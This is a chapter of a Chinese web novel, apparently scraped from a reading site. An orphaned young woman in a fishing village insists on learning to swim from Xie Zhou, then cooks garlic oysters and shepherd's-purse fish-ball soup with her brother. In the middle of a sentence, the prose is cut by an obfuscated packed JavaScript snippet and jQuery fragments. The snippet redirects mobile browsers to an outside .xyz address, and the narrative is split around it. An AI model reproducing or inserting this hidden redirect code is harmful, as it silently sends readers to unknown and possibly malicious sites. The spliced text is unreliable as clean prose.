他焦急道:“阿姐,你忘了你上一次掉海里差点被海水淹死么?你不害怕吗,怎么还要去学游泳?”
“害怕,可怕有用吗?如果仅仅因为一次失足落水的意外,以后见到水就绕着走,那我们怎么在渔村生存下去,怎么让小食摊的生意走出沄水村?”
如果她从那以后怕下水,她就不会去赶海;如果怕再次溺水,一开始她就不会坐船去肥水村摆摊。
饥饿、贫穷都比害怕本身更可怕。
她吃过饱饭,再让她过回原身那种紧巴巴等着发达未婚夫来拯救自己于水火的日子,她做不到。
她不想饿肚子,她想每天每顿饭都能吃饱,想舒服自在的过日子。
水能覆舟,亦能载舟。
她是自己人生的舵手,她相信只要她在,船便不会翻。
难得有机会再活一次开始新的人生,她有没吃过的美食想去尝试,她有没去过的地方想去看看,她有未达成的心愿想去完成。
她想走出去,想把餐厅开出渔村,开到更广阔的世界,不想让自己的生意局限在沄水村或肥水码头这方小小的天地里。
而沧浪港就是她眼下选定的下一片试验田。
可桑泽还是发愁,“可是阿姐,你就不担心还没学会凫水,你就又遇到上回那种事了吗?”
爹娘已经不在了,他只有阿姐了,要是阿姐再出什么事,那他就只有一个人孤零零在这世上了,他可不要。
“上回只是一次意外而已,学的时候提前观察好天气状况就行。况且,这世上多的是你怕什么来什么,你不去学下次遇到同样的事情,没人救你,这条小命不就直接交代了吗?
怕是没用的,解决恐惧的方式是去直面它。想要走得更远必须解决不会水这个后顾之忧,阿泽,难道你以后不想走出去看看外面广阔的世界吗?”
桑榆语气坚定,似乎任何人都无法动摇她学游泳的想法。
难道你以后不想走出去看看外面广阔的世界吗?
听到最后一句,谢舟像被定住,怔愣了一瞬。
他眸光轻闪,望着说话人笑容明媚的侧脸,嘴角扬起微不可察的弧度。
眼前这个人目光长远,行事果决,颇有几分男子的魄力,分明是个当家的话事人,哪有半分外人口中那个寄人篱下怯懦胆小的孤女模样。
桑泽说不出话来,他知道阿姐说的有道理,可是,可是如果换了叫他去学凫水,他是怎么也不敢的。尤其是他亲眼目睹阿姐几乎快淹死在海里的那幕,光远远看着就觉得喘不过气来,更别说让他下水。
虽然赶海的时候也要和岸边卷上来的海浪打交道,可他的双脚没离开土地和沙子,他能确保自己不会踩到深不见底的海水下,他很安心,一点也不会感到害怕。
但是去海里学游泳就不一样了。
海水很深,很深的。深得好像能吞没一切,连现在这么强大的阿姐也不例外,差点丧命。
第一次坐船去摆摊,他就被深海的辽阔与深不可测震撼,要不是有阿姐在身边陪着他,他肯定没办法坚持这么多天,次次不落一天来回两趟坐船去摆摊。
谢舟没像桑泽一样劝阻,只是问了她个问题,“沄水村会水的人很多,为什么要找我?”
“可以的话我也想找小娘子教我,可我认识的人没几个,村子里的小娘子中,会水的本来就少,我更是一个小娘子都不认识。听说你是村里公认水性最好的,我找你当老师不是最安全最可靠吗?”有这个人当她老师,就算真出了什么事,料他也不会坐视不理看着她死。
而且她找他还有一个原因,她知道有了昨天那回事,他的内疚让他拒绝不了她提出来的要求。
“可——”谢舟略思忖,教她游泳不是问题,但在海边,大庭广众之下,可能免不了招人说闲话。
见谢舟欲言又止,桑榆坚定敞亮的目光盯着他,“你就说你答不答应?”
“我教你可以,可你就不怕招来闲言碎语?”
他考虑得倒有几分道理。桑榆也开始认真思考,古代讲究男女有别,他要是真在海边教她游泳,免不了招来村里人无中生有的八卦。
不过换了这个时代的其他女子或许真会怕这些闲言碎语,她却是无所谓的,毕竟她以后又不打算嫁人,到了年纪被拉去强行婚配前,雇人弄个形婚打发就行。
“因为怕别人说闲话就瞻前顾后,那什么事都干不成了。我又不是活给他们看的,想做什么用不着考虑他们怎么想怎么说,他们爱说让他们说去,反正都阻止不了我的决定。”
一副天不怕地不怕的样子。
有趣。
谢舟看她的眼神第一次有了欣赏之意,她所思所想,还真和一般小娘子不太一样。
和她一般年纪的小娘子现在恐怕多数已经嫁为人妇,在家中相夫教子。就算没出嫁,也只会躲在父兄身后,除非有事外出,否则平时大门不迈二门不出,学着绣花做衣服。
可她似乎一点也没有闺阁女子的羞怯怕生,单凭她在无亲戚族人可倚仗,敢单枪匹马带着幼弟上市集摆摊赚营生,还能慧眼识得新鲜海鲜食材,有一手好厨艺固然难得,但不是最重要的,有这份勇气和见识才是最难得的。
听江一帆说,桑家二房当初娶的是秀才家的女儿,是个识文断墨的,难道这样的娘亲教养出的小娘子当真见多识广,与一般渔家的小娘子不一般?
早上他出门过来做工,路上听到有人嘴碎乱嚼他们姐弟的舌根,正想开口呵斥,没想到被躲在石头后面不知挖什么东西的她先怼了回去,一番话把对方说得哑口无言落荒而逃。
她不计前嫌主动站出来帮他们说话,似乎一点也不在意他昨日才误解过她,对她语出不善。
可见是个有容人之量的。
现在她对未来自己可能面对的流言蜚语,也能这么泰然处之。
光是这气度,就非一般小娘子可比。
想到这谢舟不觉对她高看一眼。
厨房里,桑泽剁蒜蓉的声音响起,随后声响渐渐低了下来,辣椒切好后,桑榆正好将生蚝洗干净并开了口,放边上备用。
她倒了些油进油锅,从桑泽手里接过蒜蓉和辣椒,将之倒入锅里,桑泽坐回凳子照看灶火,蒜蓉在油锅中渐渐冒出热气,等蒜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994711|178122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蓉慢慢被炸成了浅金黄,这时候便可以将蒜蓉盛到碗里,里面的热油另外盛出来备用。
桑榆往碗里面可以加入酱油、醋和小半勺糖,拌匀后,将蒜蓉酱淋在生蚝上,然后在锅中煮开滚水,翻入一个碗,将那摆满生蚝的盘子放在锅中的碗上,用大火蒸上半刻钟后,双手裹着抹布将那盘散发着肉香和蒜蓉辣椒香气的生蚝端出锅。
出锅后撒上葱花,将方才还滚烫的热油浇到每只生蚝上,肥美鲜嫩的生蚝变得更加澄亮,香味更加诱人,桑榆姐弟俩的味蕾狠狠为之一振。
但囿于还有一个菜没完成,桑泽虽然很想吃,还是暂时止住手欠。
鱼丸泡在冷水里已经有一会儿了,是时候上锅煮了。
方才桑榆已经将那哥鱼剥了鱼皮,用勺子将鱼肉慢慢刮下来,去掉了鱼刺,然后把鱼肉剁碎,加入鸡蛋、盐、糖,以及由面团分离加工成的水淀粉,搅拌均匀后,将鱼泥在盆子里手打成细腻黏稠,直至达成能使单支筷子屹立鱼泥中而不倒下的状态。
这个时候桑榆便拿一个海碗装了碗冷水,抓起第一把鱼泥,从虎口处挤出来一颗圆咕噜的鱼丸,用勺子沾下冷水,在虎口处瞄准鱼丸的底部,轻轻一刮,一颗鱼丸便被刨到勺子上,将勺子伸入旁边的冷水里,一颗圆滚滚的鱼丸经由勺子掉入水中,肥嘟嘟的丸子完美成形。
见桑泽已经烧热了锅,桑榆往锅里倒入水和鱼丸,在大火烹调下,很快锅里的鱼丸被煮开,一颗颗鱼丸浮出水面,膨胀出两倍大,这个时候其实已经熟了,只是随着鱼丸起来的还有白色的浮泡,桑榆拿汤勺将浮泡一一撇掉。
撇去浮动泡沫后,汤水变得清澈,接着鱼丸就能出锅了。
桑榆物尽其用,利用方才没用完的水淀粉,将水淀粉稀释了下,做了个荠菜鱼丸汤。
鱼丸的鲜味和荠菜的清香,冲淡了刚才还弥漫整个厨房的蒜蓉生蚝香,好久没闻到鱼丸的香味,桑榆也难得把持不住,盛了两碗荠菜鱼丸汤,她和桑泽一人一碗,站在灶台边已经先喝上了。
洁白的鱼丸每一颗都饱满有弹性,吃起来Q弹爽口,肉质十分鲜美嫩滑,两人吃了一颗又一颗,尚未知足。荠菜煮的时间刚刚好,配合着鱼丸鲜甜的肉质,使鱼汤更多了几分雨后森林里青草香的自然甜美,一碗荠菜鱼丸汤,姐弟俩同时见底,又分别盛了第二碗。
只不过这次是坐到饭桌上,荠菜鱼丸汤,搭配着香得让人犯罪的蒜蓉生蚝吃,姐弟俩甚至连米饭都省了,吃出了天上人间此生不换,来世还做种花人的境界。
桑泽想起来方才的事,边吃边问桑榆,“阿姐,方才谢哥说可以暂时先欠着,不用急着还他工钱,你为什么不先将那一两银子拿回来呀?你不是说第一个一两银子很有纪念意义吗?”
“他自己也不容易,你忘了,上回樊阿奶不是还说,他每隔一阵就要上县城给他姐抓药,哪次抓药不是一两半两的,赚得再多也不禁他们这么花呀。”桑榆吹了一口汤面,心说家家有本难念的经,可有些人家里的经,难度就是要比别人厚上许多。
她摇了摇头,心里不由唏嘘,这样的人好像就是为了渡劫来的。